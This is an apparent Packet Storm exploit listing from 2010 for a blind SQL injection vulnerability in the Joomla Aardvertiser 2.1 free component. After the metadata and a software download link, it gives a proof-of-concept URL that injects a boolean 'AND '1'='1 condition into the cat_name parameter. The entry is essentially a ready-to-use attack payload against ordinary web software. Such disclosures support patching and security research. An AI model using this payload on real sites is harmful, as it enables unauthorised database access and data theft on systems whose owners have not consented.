Joomla Aardvertiser 2.1 Blind SQL Injection

2010-09-08T00:00:00
ID PACKETSTORM:93584
Type packetstorm
Reporter Stephan Sattler
Modified 2010-09-08T00:00:00

Description

                                        
                                            `# Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability  
# Date: 07.09.2010  
# Author: Stephan Sattler // www.solidmedia.de  
# Software Link: http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download  
# Version: 2.1 free  
  
  
[ Vulnerability//PoC ]  
  
http://server/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view  
  
`